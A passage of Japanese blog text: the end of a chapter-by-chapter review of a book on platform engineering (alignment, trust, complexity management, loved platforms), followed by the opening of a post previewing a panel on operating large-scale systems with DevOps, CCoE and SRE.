compromises」というアプローチです。これは、完全な拒否でも無条件の受け入れでもない、現実的な解決策を提供します。シャドウプラットフォームの問題は、多くのプラットフォームチームが直面する課題です。私のチームでも、ある部門が独自のプラットフォームを構築し始めた際、最初は抵抗を感じました。しかし、著者が提案するように、パートナーシップのアプローチを取ることで、最終的には組織全体にとって価値のある結果を生み出すことができました。予算管理とコストの課題経済的な逆風時における予算管理は、プラットフォームチームにとって特に難しい課題です。著者が提案する3段階のアプローチ(明日の受益者の特定、チーム単位での作業のグループ化、カットすべき箇所と維持すべき箇所の明確化)は、実践的で効果的です。私の経験では、ビジネスへの直接的な価値の提示が特に重要でした。例えば、効率化プロジェクトの場合、具体的なコスト削減額を示すことで、予算の正当性を説得力を持って説明することができました。章全体からの学びこの章から得られる最も重要な教訓は、ステークホルダー管理がプラットフォームチームの成功にとって決定的に重要であるという点です。これは単なるコミュニケーションの問題ではなく、組織の戦略的な成功要因です。私の経験からも、良好なステークホルダー関係は、困難な時期を乗り越えるための重要な資産となります。特に、予算削減や組織変更といった厳しい局面では、日頃からの信頼関係が決定的な違いを生みます。最後に、この章が提供する実践的なフレームワークと具体例は、現代のプラットフォームエンジニアリングリーダーにとって、極めて価値のある指針となるでしょう。Part III. What Does Success Look Like?第3部は、プラットフォームエンジニアリングの成功をホリスティックに評価するアプローチを提示しています。Alice in Wonderlandからの引用が示唆するように、プラットフォームチームは常に走り続けているにもかかわらず、その進捗が見えにくいという現実に直面します。著者は、単純なメトリクスやモデルだけでは不十分だとし、アライメント、信頼、複雑性管理、愛される存在という4つの評価領域を提案しています。これは私の実務経験とも強く共鳴します。特に、CNCFのプラットフォームエンジニアリング成熟度モデルを参考にしつつも、より包括的な評価アプローチを取ることの重要性は、多くのプラットフォームリーダーにとって価値のある指針となるでしょう。Chapter 11. Your Platforms Are Aligned第11章「Your Platforms Are Aligned」は、プラットフォームエンジニアリングチームの成功を評価する最初の基準として「アライメント(整合性)」を深く掘り下げています。この章を通じて、著者はプラットフォームチーム間のアライメントがいかに重要か、そしてミスアライメントがどのような問題を引き起こすかを具体的に示しています。特に印象的なのは、冒頭のTom DeMarcoとTim Listerの「チームの目的は目標の達成ではなく、目標の整合性である」という言葉です。この視点は、現代のプラットフォームエンジニアリングにおいて極めて重要な示唆を提供しています。アジャイルチームによる目標づくりガイドブック OKRを機能させ成果に繋げるためのアプローチ作者:小田中 育生翔泳社Amazon目的のアライメント著者は目的のアライメントの重要性を、継続的インテグレーション(CI)プラットフォームと運用システムプラットフォームの対立という具体例を通じて説明しています。この事例は、私自身が経験したプラットフォームチーム間の対立を思い起こさせます。特に印象的なのは、OSプラットフォームチームがインフラストラクチャマインドセットを保持し、顧客体験よりも技術的完璧さを優先してしまうという状況です。著者は、プラットフォームチームの共通目的として、製品(キュレートされた製品アプローチ)、開発(ソフトウェアベースの抽象化)、幅広さ(広範な開発者基盤へのサービス提供)、運用(ビジネスの基盤としての運用)という4つの柱を挙げています。これらの柱は、プラットフォームチームが技術的な卓越性だけでなく、組織全体の価値創出に貢献するための重要な指針となります。製品戦略のアライメント製品戦略のアライメントについて、著者は4つのプラットフォームチームが異なる技術的選択を行い、その結果として5つの異なるコンピュートプラットフォームが存在するという事例を挙げています。これは、私が以前経験した状況と非常によく似ています。チーム間の協調不足が、重複した機能と互換性の問題を引き起こし、結果として顧客にとって使いづらい環境を作ってしまうのです。著者は、この問題に対する解決策として、独立したプロダクトマネジメント、独立したリードIC、全社的な顧客調査からのフィードバック、そして必要に応じた組織再編という4つのアプローチを提案しています。特に、プロダクトマネジメントの独立性について、エンジニアリングマネージャーの直接の影響下から切り離すことの重要性は、実践的な示唆に富んでいます。計画のアライメント計画のアライメントに関して、著者は大規模なプロジェクト(1開発者年以上)に焦点を当てることの重要性を強調しています。細かい計画まで全てを統制しようとすると、チームの機動性が失われ、緊急のニーズに対応できなくなるリスクがあります。これは私の経験とも一致しており、特に大規模な組織では、過度な計画の詳細化がかえって効果的な実行の妨げとなることがあります。著者は、意見の対立を避けることなく、むしろそれを前向きに活用することを提案しています。Amazonの「Have Backbone; Disagree and Commit」という原則を引用しながら、強い信念を持ちつつも、最終的な決定には全面的にコミットするという姿勢の重要性を説いています。プリンシプルドリーダーシップによるアライメント著者は、最終的なアライメントが原則に基づいたリーダーシップから生まれると主張しています。これは単なる上意下達ではなく、協調的で透明性のあるプロセスを通じて、チーム全体が理解し、納得できる決定を導き出すことの重要性を示しています。組織の共通目標を達成するための計画と実行は、単なるトップダウンの意思決定ではなく、チーム全体の協力と理解に基づいて進められるべきです。組織のアライメントへの道筋組織全体のアライメントを実現するには、単なる技術的な調整以上のものが必要です。著者が示す通り、プラットフォームチームのリーダーは、技術的な卓越性とビジネス価値のバランスを取りながら、組織全体の目標達成に向けて多様なステークホルダーと協力していく必要があります。特に、競合するプロジェクトや優先順位の調整において、オープンな議論と明確な意思決定プロセスが重要となります。プラットフォームエンジニアリングの成功は、明確な目標設定と、その目標に向けた組織全体の一貫した取り組みにかかっています。アライメントを通じて、組織は効果的なプラットフォームを構築し、継続的な改善を実現することができます。この章は、そのための具体的な指針と実践的なアプローチを提供しています。章全体からの学びこの章から得られる最も重要な教訓は、プラットフォームアライメントが組織の成功に直接的な影響を与えるという点です。著者が強調するように、アライメントは単なる技術的な統一ではなく、目的、製品戦略、計画という3つの次元で実現される必要があります。私の経験からも、これらの要素が適切に整合していない場合、チーム間の摩擦や非効率な重複投資、そして最終的には顧客満足度の低下につながることを痛感しています。特に印象的なのは、アライメントが「測定可能な改善」と密接に結びついているという著者の指摘です。プラットフォームの成功を評価するには、まず目標について合意し、それに向かって進む必要があります。アライメントのプロセスを通じて、組織は焦点を当てるべき領域をより明確に理解し、具体的な目標と作業項目を設定することができます。私の実務経験でも、製品市場のフィードバックを定期的に収集し、内部メトリクスだけでなく実際のユーザーの声に耳を傾けることで、プラットフォームが選択した方向性が正しいかどうかを判断できることを学びました。これは著者が指摘する「プラットフォームが改善すべき点を意識的に選択できる」という考えと完全に一致します。著者が指摘するように、この章の内容はプラットフォームエンジニアリングに特有のものではありません。しかし、プラットフォームエンジニアリングの文脈では、その価値が直接的な収益成長などの明確な指標で測定できないことが多く、投資先の選択においてより大きな裁量が求められます。これは、プラットフォームリーダーシップの最大の課題の一つとなっています。最後に、この章は個々のプロダクトチームが独自の視点で構築を進めることの危険性を明確に示しています。確かに、これによって部分的な成功は得られるかもしれませんが、チーム全体としての整合性が欠如すると、真の卓越性は達成できません。プラットフォームエンジニアリングの真の成功は、技術的な優秀性だけでなく、組織全体のアライメントを通じて実現されるのです。これらの学びを実践に移す際は、組織の規模や成熟度に応じて適切にアプローチを調整する必要があります。アライメントは一朝一夕には達成できませんが、継続的な対話と調整を通じて、段階的に実現していくことが可能です。Chapter 12. Your Platforms Are Trusted第12章「Your Platforms Are Trusted」は、プラットフォームエンジニアリングにおける信頼の重要性と、その獲得・維持の方法について深く掘り下げています。著者は、Warren Buffettの「信頼は空気のようなものだ - 存在するときは誰も気付かないが、欠如したときは誰もが気付く」という言葉を引用しながら、プラットフォームの成功には信頼が不可欠であることを強調しています。特に、この章では運用能力、大規模投資の意思決定、そしてビジネスへのボトルネック化という3つの主要な信頼喪失のリスクに焦点を当てています。運用における信頼構築運用面での信頼構築について、著者は単なるプラクティスの導入以上のものが必要だと指摘しています。私自身の経験でも、オンコール体制やSLOの設定だけでは、アプリケーションチームの信頼を完全に獲得することは困難でした。特に印象的なのは、経験値の圧縮が不可能であるというAmazonの教訓です。これは、大規模運用の経験は実際の運用を通じてしか得られないという現実を端的に表現しています。著者は、この課題に対する2つのアプローチを提案しています。1つ目は大規模運用経験を持つリーダーの採用と権限付与、2つ目は運用リスクの許容度に基づくユースケースの優先順位付けです。これらは、私が過去に経験した運用信頼性の向上プロジェクトとも共鳴する実践的なアプローチです。信頼構築の実践において、私たちのチームで特に効果的だったのは、段階的なアプローチの採用です。まず、非クリティカルなワークロードから始めて、運用の安定性を実証し、そこから徐々にミッションクリティカルなワークロードへと移行していく方法を取りました。例えば、新しいコンテナオーケストレーションプラットフォームの導入時には、最初は内部の開発環境のワークロードのみを対象とし、3ヶ月間の安定運用を確認した後に、段階的に本番環境のワークロードを移行していきました。この過程で特に重要だったのは、透明性の高いコミュニケーションです。週次のステータスレポートでは、インシデントの詳細な分析結果だけでなく、それに基づく具体的な改善計画も共有しました。また、主要なステークホルダーとの定期的な1on1ミーティングでは、技術的な課題だけでなく、ビジネス目標との整合性についても率直な議論を行いました。このような取り組みを通じて、運用面での信頼を着実に築き上げることができました。syu-m-5151.hatenablog.com大規模投資における信頼構築大規模投資に関する信頼構築について、著者は技術的ステークホルダーの賛同とエグゼクティブスポンサーシップの重要性を強調しています。私の経験でも、技術的な正当性だけでなく、ビジネス価値の明確な説明が、大規模投資の承認を得る上で決定的に重要でした。特に、既存システムの維持管理を怠らないことの重要性は、実務を通じて痛感しています。著者が提示する「Icicle」チームの事例は、特に示唆に富んでいます。高レイテンシーに敏感なワークロードを持つチームの信頼を獲得するために、プラットフォームチームが自身の技術的な「正しさ」にこだわるのではなく、顧客のニーズに合わせて柔軟に戦略を変更した例は、現代のプラットフォームエンジニアリングにおいて極めて重要な教訓を提供しています。私たちの組織では、大規模投資の承認プロセスにおいて、段階的なマイルストーンと明確な成功指標の設定を重視しています。例えば、新しいマイクロサービスプラットフォームへの投資では、6ヶ月ごとの具体的な目標を設定し、各フェーズでの成果を定量的に評価できるようにしました。これにより、投資の妥当性を継続的に検証し、必要に応じて計画を調整することが可能になりました。特に重要なのは、ビジネス価値の可視化です。技術的な改善だけでなく、開発者生産性の向上、運用コストの削減、新機能のリリース速度の改善など、具体的な数値で効果を示すことで、エグゼクティブの継続的なサポートを得ることができました。この経験から、大規模投資の成功には、技術的な実現可能性とビジネス価値の両面からの綿密な検討が不可欠だと実感しています。優先順位付けと信頼ビジネスのボトルネックとなることを避けるための信頼構築について、著者はベロシティの文化醸成とプロジェクトの優先順位付けの重要性を説いています。私のチームでも、計画された作業と緊急の要求のバランスを取ることは常に課題でした。特に、「次の四半期のOKRまで待つ必要がある」という対応は、アジャイルなビジネス環境では受け入れられないという著者の指摘は、現実の組織運営と強く共鳴します。著者が紹介するDiego Quirogaの事例は、ボトルネック解消の実践的なアプローチを示しています。特に、セルフサービス化による効率化とサポート要求の分析に基づく改善は、私自身のプラットフォーム改善プロジェクトでも有効だった施策です。過度に結合したプラットフォームの教訓著者は、「バッテリー込み」アプローチの失敗事例を通じて、プラットフォームの過度な結合がもたらす問題を説明しています。この事例は、エンドツーエンドのワークフローを提供しようとするあまり、コンポーネント間の結合が強くなり、最終的に運用の安定性と機能追加の柔軟性を失ってしまうという、多くのプラットフォームチームが陥りがちな罠を見事に描き出しています。章全体からの学びこの章の最も重要な教訓は、信頼の構築には時間がかかるが、その喪失は一瞬であるという現実です。運用上の予期せぬ問題、ビジネスの急激な変化、チームの離職など、私たちの制御を超えた多くの要因が信頼を損なう可能性があります。そのため、プラットフォームリーダーには、日々の活動を通じて継続的に信頼を強化していく努力が求められます。特に印象的なのは、多くのプラットフォームリーダーが陥りがちな傲慢さへの警告です。技術的な正しさにこだわるあまり、顧客やステークホルダーの声に耳を傾けない態度は、長期的な成功の妨げとなります。プラットフォームの真の成功は、技術的な卓越性とビジネス要求への迅速な対応の両立にかかっているのです。この章の学びは、現代のクラウドネイティブ環境において、ますます重要性を増していくでしょう。プラットフォームの信頼性と柔軟性の両立、そして顧客との信頼関係の構築は、今後のプラットフォームエンジニアリングの成功に不可欠な要素となります。Chapter 13. Your Platforms Manage Complexity第13章「Your Platforms Manage Complexity」は、プラットフォームエンジニアリングにおける複雑性管理の本質と実践について深く掘り下げています。著者は、Donald A. Normanの「人々の望ましい行動ではなく、実際の行動に合わせて設計しなければならない」という言葉を引用しながら、複雑性管理が単なる技術的な課題ではなく、人間の行動や組織の現実を考慮に入れた総合的なアプローチを必要とすることを強調しています。 speakerdeck.com意図せぬ複雑性の管理複雑性管理の成功を測る重要な指標の一つは、アプリケーションチームが必要とする「グルー(接着剤)コード」の量です。私の経験では、プラットフォームチームが提供する抽象化が不適切な場合、アプリケーションチームは独自のグルーコードを書かざるを得なくなり、結果として全体の複雑性が増大してしまいます。特に注目すべきは、著者が指摘する「ヒューマングルー」の問題です。これは、技術的なグルーコードの削減を目指すあまり、人間による手動の調整や対応に依存してしまう状況を指します。私のチームでも、以前は運用上の問題解決に人間の介入を多用していましたが、これは持続可能な解決策ではありませんでした。このような課題に対して、私たちは自動化と適切な抽象化のバランスを重視するアプローチを採用しています。例えば、マイグレーションプロジェクトでは、所有権メタデータレジストリを活用し、チケットの自動割り当てと進捗管理を実現しました。これにより、人的なプロジェクト管理の負担を大幅に削減することができました。シャドウプラットフォームの管理シャドウプラットフォームの問題について、著者は完全な抑制ではなく、適切な管理の重要性を説いています。私の経験でも、アプリケーションチームによる独自のプラットフォーム構築を全面的に禁止することは、イノベーションの芽を摘んでしまう危険性があります。特に印象的なのは、シャドウプラットフォームを組織の学習機会として捉える視点です。あるプロジェクトでは、データサイエンスチームが構築した独自のプラットフォームを、最終的に全社的なソリューションへと発展させることができました。これは、パイオニア的なイノベーションとエンタープライズレベルの安定性のバランスを取る良い例となりました。著者が提示する「Single Pane of Glass」のアンチパターンの分析も示唆に富んでいます。統合UIの構築は一見魅力的に見えますが、実際にはベンダーツールの進化に追従することの難しさや、異なるユーザーペルソナのニーズへの対応など、予想以上の複雑性をもたらす可能性があります。成長の管理による複雑性制御著者は、無制限な成長が複雑性を増大させる要因となることを警告しています。これは私の実務経験とも強く共鳴します。特に印象的なのは、効率性の向上とチーム規模の拡大のバランスについての指摘です。私のチームでも、新しい課題に直面するたびに人員を増やすのではなく、まず既存のプロセスの効率化や自動化を検討するようにしています。著者が提案する「既存の領域での新しい作業は、そのチームの既存のメンバーによってまかなわれるべき」というルールは、実践的な指針として非常に有用です。これにより、チームは優先順位の明確化と効率化への投資を迫られ、結果として複雑性の管理にも寄与します。プロダクトディスカバリーを通じた複雑性管理プロダクトディスカバリーの重要性について、著者はオープンソースシステムの導入を例に説明しています。私の経験では、顧客の要求をそのまま受け入れてオープンソースシステムを提供するのではなく、真の要件の理解と適切な抽象化のレベルを見極めることが重要です。特に印象的なのは、データ処理系のOSSに関する事例です。PostgreSQL、Cassandra、MongoDBなどの広範なインターフェースを持つシステムの運用は、ユースケースと利用者の増加に伴って線形に複雑性が増大していきます。これは、多くのプラットフォームチームが直面する現実的な課題です。内部と外部の複雑性のバランス最後に著者が示すデータプラットフォームの事例は、複雑性管理の実践的なチャレンジを見事に描き出しています。10人程度のチームがPostgreSQL、Kafka、Cassandraなどの複数のOSSシステムを運用する中で直面した課題は、私自身の経験とも強く共鳴します。特に、運用負荷の増大と顧客要求の多様化のバランスを取ることの難しさは、多くのプラットフォームチームが直面する普遍的な課題です。著者が描写する改善の試行錯誤のプロセスは、とりわけ示唆に富んでいます。ベンダーのホステッドサービスへの移行、SLAの明確化、APIの完全なカプセル化など、様々なアプローチを試みながらも、それぞれに課題があったという経験は、私たちの組織でも同様でした。特に印象的なのは、これらの「失敗」を通じて、真の顧客ニーズの理解と実現可能な解決策の発見につながっていったという点です。最終的な解決策として導き出された、シンプルな(key, value)セマンティクスのプラットフォームと特定のユースケースに最適化されたSQL系システムの組み合わせは、複雑性管理の理想的なアプローチを示しています。これは、完璧な解決策を一度に実現しようとするのではなく、段階的な改善と顧客との密接な協力を通じて、持続可能な解決策を見出していく過程の重要性を示しています。章全体からの学びこの章の最も重要な教訓は、複雑性管理が継続的な取り組みであり、完全な解決は望めないという現実的な認識です。しかし、これは諦めるべき理由ではなく、むしろ組織の北極星として、継続的な改善の方向性を示す指針となります。私の経験からも、複雑性管理の成功には、技術的なソリューション、組織的な取り組み、そして顧客との協力の3つの要素が不可欠です。特に重要なのは、完璧を求めるのではなく、継続的な改善と学習のサイクルを確立することです。最後に、この章は現代のプラットフォームエンジニアリングが直面する本質的な課題に対する実践的な洞察を提供しています。複雑性の管理は、技術的な課題であると同時に、組織的な課題でもあります。プラットフォームエンジニアリングチームのリーダーとして、この両面からのアプローチを常に意識しながら、持続可能な改善を推進していく必要があるでしょう。Chapter 14. Your Platforms Are Loved第14章「Your Platforms Are Loved」は、プラットフォームエンジニアリングにおける「愛される」という概念の意味と重要性について深く掘り下げています。著者は、Tina Turnerの「What's love got to do with it?」という問いかけから始め、内部向けのツールが「愛される」必要があるのかという根本的な疑問に対して、説得力のある回答を提示しています。この章では、プラットフォームが単に機能するだけでなく、ユーザーに愛される存在となることが、実は生産性向上の重要な指標となることを示しています。愛されるプラットフォームの本質著者は、日常生活で私たちが愛用する道具を例に挙げ、プラットフォームが「愛される」とはどういうことかを説明しています。私の経験でも、最も成功したプラットフォームは、必ずしも最も高価なものや機能が豊富なものではなく、特定の目的に対して適切に設計され、信頼性高く動作するものでした。特に印象的なのは、著者が生産性の直接的な測定の難しさに触れながら、「愛される」ことを生産性の代理指標として捉える視点です。私のチームでも、以前は定量的なメトリクスにこだわりすぎて、実際のユーザー体験を見失いかけた時期がありました。単純な採用率や効率性の指標に固執すると、プラットフォームチームが制御しやすいシステムを作ることに注力してしまい、実際のユーザーニーズを見失うという著者の指摘は、多くのプラットフォームチームが陥りがちな罠を的確に描写しています。「単に動く」から「愛される」への進化著者が紹介するAmazonのApolloプラットフォームの事例は、プラットフォームが「愛される」ために必要な要素を具体的に示しています。特に印象的なのは、優れたUIと自動化インターフェース、強い意見を持った設計、そして必要に応じて抽象化を「突き破れる」柔軟性という3つの特徴です。『INSPIRED 熱狂させる製品を生み出すプロダクトマネジメント』では、成熟したIT企業の製品開発に共通する3つの特徴として、リスクを開発の最終段階ではなく初期段階で積極的に特定・対処すること、製品の定義とデザインを順序立てて進めるのではなく協調的に同時進行させること、そして単なる機能実装ではなく本質的な問題解決にフォーカスすることを挙げています。また著者は、優れたプロダクトマネジャーの条件として、顧客、データ、自社ビジネス、そして市場・業界それぞれについての深い知見を持つことが不可欠だと説いています。こちらの方が良いでしょうか?プロダクトマネジメントの本質をよりシンプルに表現してみました。INSPIRED 熱狂させる製品を生み出すプロダクトマネジメント作者:マーティ・ケーガン,佐藤真治,関満徳日本能率協会マネジメントセンターAmazon私のチームでも、最近完了したコンテナオーケストレーションプラットフォームの刷新プロジェクトで、これらの原則を意識的に取り入れました。特に、「システムの状態をUIが正確に反映している」という信頼性の確保と、「特殊なケースにも対応できる拡張ポイントの提供」というバランスの取れた設計により、ユーザーからの高い評価を得ることができました。ハックのような解決策も愛される理由著者が紹介する「Waiter」プラットフォームの事例は、特に示唆に富んでいます。技術的には「ハック」のように見える実装でも、ユーザーの実際の問題を解決し、摩擦を最小限に抑えることができれば、強く支持される可能性があることを示しています。私の経験でも、「理想的」な設計からは外れるものの、ユーザーの具体的な課題を解決する実装が、結果として大きな価値を生み出すケースを何度か経験しました。例えば、あるマイクロサービスプラットフォームでは、理想的なマイクロサービスアーキテクチャの原則から外れる実装を許容することで、開発者の生産性を大幅に向上させることができました。明白な価値提供による信頼獲得著者が紹介するS3互換オブジェクトストアの事例は、既知の価値と適切な実装の組み合わせの重要性を示しています。特に重要なのは、認知度、互換性、エンジニアリング品質、市場投入までの時間という4つの要素です。これは、私が過去に経験した失敗から学んだ教訓とも一致します。章全体からの学びこの章の最も重要な教訓は、プラットフォームが「愛される」ということは、単なる感情的な問題ではなく、実際の生産性と価値創出に直結するという点です。特にSmruti Patelの「マルチツール」という比喩は、プラットフォームの本質を見事に表現しています。私の経験からも、最も成功したプラットフォームは、必ずしも最新のトレンドを追いかけたものではなく、基本的な信頼性を確保しながら、ユーザーの実際の問題を着実に解決していくアプローチを取ったものでした。愛されるプラットフォームを構築するには、技術的な卓越性だけでなく、ユーザーとの深い信頼関係の構築が不可欠です。これは一朝一夕には達成できませんが、継続的な改善と誠実な対話を通じて、確実に実現できる目標なのです。おわりに本書は、プラットフォームエンジニアリングという営みが、技術を極めることと人に寄り添うことの両立を求められる実践であることを、様々な現場での経験を通じて描き出しています。技術的な卓越性を追求しながらも、組織の変革に寄り添い、ステークホルダーとの信頼関係を育み、持続可能な文化を醸成していくという総合的な視点は、現代のソフトウェア開発組織が直面する本質的な課題に対する深い洞察を提供しています。プラットフォームエンジニアリングは、技術的な基盤を「作って終わり」にするのではなく、組織とともに成長し続ける生命体のような存在です。それは、日々の地道な技術の研鑽と、組織やユーザーのニーズへの繊細な理解が融合することで初めて、真の価値を生み出すことができます。本書は、その困難な実践に挑戦する人々にとって、同じ道を歩む先達からの贈り物となるでしょう。今後のソフトウェア開発において、プラットフォームエンジニアリングはますます重要な役割を担っていくことでしょう。しかし、その本質は変わることなく、技術を極めることと人に寄り添うことの両立にあり続けるはずです。本書で示された知見をもとに、各組織が自らの文脈に即した実践を積み重ね、技術と人間性が調和した真に価値あるプラットフォームエンジニアリングを実現していくことを願ってやみません。みなさん、最後まで読んでくれて本当にありがとうございます。途中で挫折せずに付き合ってくれたことに感謝しています。読者になってくれたら更に感謝です。Xまでフォロワーしてくれたら泣いているかもしれません。","isoDate":"2024-10-24T21:06:00.000Z","dateMiliSeconds":1729803960000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"「大規模システムの効率的運用の裏側」というイベントに登壇するのでどんなこと話すか整理する #aeon_tech_hub","link":"https://syu-m-5151.hatenablog.com/entry/2024/10/15/101516","contentSnippet":"大規模システム運用の難しさは、その規模と複雑性に起因します。開発する人も多く、運用に関わる人間も多く、そしてシステムの性能や信頼性を評価する人間も多数います。この多様な関係者の利害が複雑に絡み合う中、技術的な課題に加え、人的・組織的な課題も顕著になります。さらに、複雑に構成されたシステムコンポーネントと日々向き合いながら、刻々と変化するビジネスの要求に応えていく必要があります。これらの要因が重なり合い、大規模システムの運用を極めて困難なものにしているのです。aeon.connpass.comはじめにこのたび、2024年10月23日に開催予定の「<Platform Engineering、DevOps、CCoE>大規模システムの効率的運用の裏側」というイベントに登壇者としてお呼びいただきました。大規模システムの効率的運用は非常に複雑な課題であり、アンチパターンはあっても画一的な正解はないと考えています。時に、人的・組織的な制約から、アンチパターンと言われるような策を採用せざるを得ない状況もあるでしょう。システム運用アンチパターン ―エンジニアがDevOpsで解決する組織・自動化・コミュニケーション作者:Jeffery D. SmithオライリージャパンAmazonこのような複雑な背景を持つ大規模システムの運用について議論する機会をいただき、大変光栄に思うとともに、その難しさも痛感しております。このブログでは、イベントの概要をお伝えするとともに、私が登壇者として特に議論したいと考えているポイントをご紹介します。大規模システムの効率的な運用に関心のある方々に、このイベントが提供する価値と、当日予想される議論の展開について、参考情報を提供できればと思います。イベント概要と登壇の意気込み「大規模システムを少人数で効率的に、そして安全に運用する工夫」をテーマにしたパネルディスカッションに登壇することになりました。このイベントでは、大規模システムの効率的な運用に関する最新のトレンドと実践的なアプローチについて議論したいです。イベントで期待すること時間の制約があるため、全ての話題を深く掘り下げることは難しいですが、以下のような内容について議論できればと思っています。1. 運用設計の重要性の再確認大規模システムの運用における設計の重要性について、特にプロセスの標準化と自動化について様々な観点から議論が展開されることを期待しています。特に注目したいのは、継続的デリバリーに関する最新トレンドです。これらは、効率的な運用の基盤となるものであり、常に進化し続けています。同時に、効果的な監視(Monitoring)と観測可能性(Observability)確保のベストプラクティスも重要なトピックです。システムの健全性を常に把握し、問題を早期に発見・対処するための手法は、大規模システム運用の要となります。さらに、実際の現場での継続的改善サイクルの実践例と、それに伴う課題についても深く掘り下げたいと考えています。理論と実践のギャップを埋め、実効性のある改善活動を展開するための知見が共有されることを期待しています。最後に、大規模システム特有のリスク管理とインシデント対応の効果的アプローチについても議論したいと思います。予期せぬ障害や障害への迅速かつ適切な対応は、システムの信頼性維持に不可欠です。これらのトピックを通じて、参加者の皆様が自身の環境で「次に効率化に取り組むべき観点」を見出すヒントになればと思います。限られた時間ではありますが、できるだけ具体的な事例や実践的なアドバイスを共有できるよう努めたいと考えています。運用設計の重要性を再確認し、その効果的な実践方法について深い洞察を得られる場となることを目指したいです。2. 現代的アプローチによる大規模システム運用の効率化大規模システムの効率的な運用を実現するためには、Platform Engineering、DevOps、CCoE(Cloud Center of Excellence)、そしてSRE(Site Reliability Engineering)といった現代的なアプローチの統合的な活用が不可欠です。これらの概念は、それぞれが独自の強みを持ちながら、相互に補完し合うことで、システム運用の効率性と信頼性を大きく向上させます。これらをスピーカーの方々がどう展開していくか楽しみです。各概念については概要とおすすめ資料を貼っておきます。2.1 Platform EngineeringPlatform Engineeringは、開発者の生産性向上と業務効率化の要となる重要な分野です。議論の中心となるのは、開発者体験(Developer Experience)向上の具体的な方策です。これには、内部プラットフォーム構築のケーススタディやセルフサービス化によるデベロッパーの生産性向上が含まれます。また、プラットフォームの標準化と柔軟性のバランスを取ることの重要性も探ります。これらのトピックについて理解を深めるため、以下の資料も参考にしてほしいです。cloud.google.com speakerdeck.comlearning.oreilly.com speakerdeck.com2.2 DevOpsDevOpsの実践は、開発と運用の壁を取り払い、より効率的なシステム運用を実現します。ここでは、開発と運用の統合によるメリットと課題、CI/CDの最新プラクティスと導入のポイントについて議論したいです。「You build it, you run it」原則の実践方法や、自動化とツール化の成功事例も重要なトピックとなります。これらの議論を深めるため、以下の資料も参考にしてほしいです。learning.oreilly.comlearning.oreilly.comcloud.google.comweb.devopstopologies.comwww.ryuzee.com speakerdeck.com2.3 CCoE(Cloud Center of Excellence)CCoEは、組織全体のクラウド活用を最適化し、ガバナンスを確立する上で重要な役割を果たします。クラウドベストプラクティスの確立と普及方法、マルチクラウド環境でのガバナンス戦略、クラウドコスト最適化の具体的アプローチなどが主要な議論のポイントとなります。これらのトピックについて、以下の資料も参考にしてほしいです。aws.amazon.comtechblog.ap-com.co.jpDXを成功に導くクラウド活用推進ガイド CCoEベストプラクティス作者:黒須 義一,酒井 真弓,遠山 陽介,伊藤 利樹,饒村 吉晴日経BPAmazonca-srg.dev2.4 SRE(Site Reliability Engineering)[おまけ]SREは、システムの信頼性を維持しながら、イノベーションを促進するための重要な概念です。SLI(Service Level Indicator)とSLO(Service Level Objective)の効果的な設定と運用、エラーバジェットの活用による信頼性とイノベーションのバランス管理について議論したいです。また、トイル(反復的な手作業)の削減戦略とその効果、インシデント管理とポストモーテムの実践についても触れる予定です。これらのトピックについて、以下の資料も参考にしてほしいです。www.oreilly.co.jp speakerdeck.com speakerdeck.comsyu-m-5151.hatenablog.com各セッションでの私は、これらの資料を参考にしつつ、最新の事例や実践的なアプローチについて議論を展開したいです。参加者の皆様にとって、自組織での適用に役立つ具体的な知見を得られる機会となることを期待しています。3. 大規模システムの効率的運用の課題と対策についての議論大規模システムを少人数で効率的に運用するには、技術面だけでなく組織面での工夫も重要です。このセッションでは、実際の運用現場で直面する課題とその対策について、私の経験から得た洞察を共有します。これらのトピックについても登壇者や参加者の皆さまと当日お話ができれば嬉しいです。当日はおそらく具体性の高いテーマについてそれぞれ話すと思うのですが、ここでは私のスタンスを決めておくために抽象的な話をしたいと思います。具体と抽象作者:細谷 功dZERO(インプレス)Amazonまた、人の具体的な技術や現場の話を聞く時のコツは相手がどのような立場の人間でどういう悩みをもっているか想像したり知ることで理解が深まります。この点について、コミュニケーションの観点からさらに掘り下げると、以下のような考察ができます。相手の立場や悩みを想像することで理解が深まるのは、各個人が独自の知識体系や思考の枠組みを持ち、認知バイアスの影響を受けているため、効果的なコミュニケーションには相手の考えや感情を推測する能力と自己の思考を客観視する能力が重要だからです。これらの点を意識することで、大規模システムの運用に関する議論や情報共有がより実りあるものになると考えています。「何回説明しても伝わらない」はなぜ起こるのか? 認知科学が教えるコミュニケーションの本質と解決策作者:今井むつみ日経BPAmazon3.1 大規模システム運用の現実と組織的課題理想的な運用モデルと実際の運用現場のギャップについて考察したいです。理論と実践の乖離を埋めるための具体的なアプローチや、現場の声を活かした運用モデルの最適化事例を聞きたいです。また、少人数チームでの大規模システム運用における組織的な課題とその解決策を探りたいです。リソース制約下での効果的なタスク分配と優先順位付け、クロスファンクショナルスキルの育成による柔軟な人員配置などが重要なポイントとなります。チームトポロジー 価値あるソフトウェアをすばやく届ける適応型組織設計作者:マシュー・スケルトン,マニュエル・パイス日本能率協会マネジメントセンターAmazon3.2 効率的な運用を支える組織文化の構築HRT(Humility, Respect, Trust)原則を基盤とした少人数チームの強化方法について議論したいです。チーム内でのオープンなフィードバック文化の醸成や、相互理解と信頼関係を深めるためのチームビルディング活動の重要性を強調したいです。さらに、システム/サービスの価値を組織全体で共有するための効果的なコミュニケーション手法を探りたいです。定期的な全体会議やニュースレターを活用した情報共有、ビジュアライゼーションツールを用いたシステム価値の可視化などが具体的な方策となります。Team Geek ―Googleのギークたちはいかにしてチームを作るのか作者:Brian W. Fitzpatrick,Ben Collins-SussmanオライリージャパンAmazon3.3 段階的アプローチによる運用改善と組織変革スモールスタートの重要性と組織全体への展開方法を議論したいです。パイロットプロジェクトの選定と成功事例の横展開、段階的な改善プロセスの設計と各フェーズでの評価指標の設定などが重要です。また、少人数チームでの定点観測会の効果的な運営とステークホルダーマネジメントについて考察したいです。データ駆動型の定点観測会の実施方法と成果の可視化、ステークホルダーの期待値管理と効果的な報告体制の構築などが焦点となります。業務改革の教科書--成功率9割のプロが教える全ノウハウ (日本経済新聞出版)作者:白川克,榊巻亮日経BPAmazon3.4 